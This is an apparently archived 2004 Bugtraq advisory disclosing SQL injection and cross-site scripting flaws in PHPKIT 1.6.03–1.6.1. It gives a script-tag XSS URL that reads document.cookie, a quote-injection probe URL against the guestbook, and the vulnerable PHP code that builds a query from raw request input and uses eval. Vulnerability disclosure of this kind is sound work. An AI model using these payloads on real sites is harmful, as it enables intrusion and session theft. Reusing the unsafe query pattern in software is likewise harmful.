[37444] in bugtraq
PHPKIT SQL Injection, XSS
daemon@ATHENA.MIT.EDU (Steve)
Mon Nov 22 21:04:15 2004
Date: Mon, 22 Nov 2004 08:07:33 +0100
To: bugtraq@securityfocus.com
From: Steve <steve01@chello.at>
Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-ID: <opshut2v1mwosoee@xion>
Author: Steve
Date: November 22, 2004
Affected Software:PHP KIT
Software Version: 1.6.03 -> 1.6.1
Software URL: http://www.phpkit.de
Attack: SQL Injection, allowing people to manipulate the query into
pulling data.
XSS
############################################################################################################
What is PHPKIT:
PHPKIT is a modular developed Homepage Software which can simple manage
contents of,
messages,guest book, forums and more.
############################################################################################################
XSS
http://www.target.com/phpkit/popup.php?img="><script>alert(document.cookie)</script>
############################################################################################################
SQL INJECTION
http://www.target.com/phpkit/include.php?path=guestbook/print.php&id=1'
CODE:
<?php
if (isset($_REQUEST['id'])) $id=$_REQUEST['id'];
$gbookinfo=$DB->fetch_array($DB->query("SELECT * FROM ".$db_tab['gbook']."
WHERE gbook_id='".$id."' LIMIT 1"));
eval ("\$site_body.= \"".getTemplate("guestbook/print")."\";");
?>
############################################################################################################
cya Steve
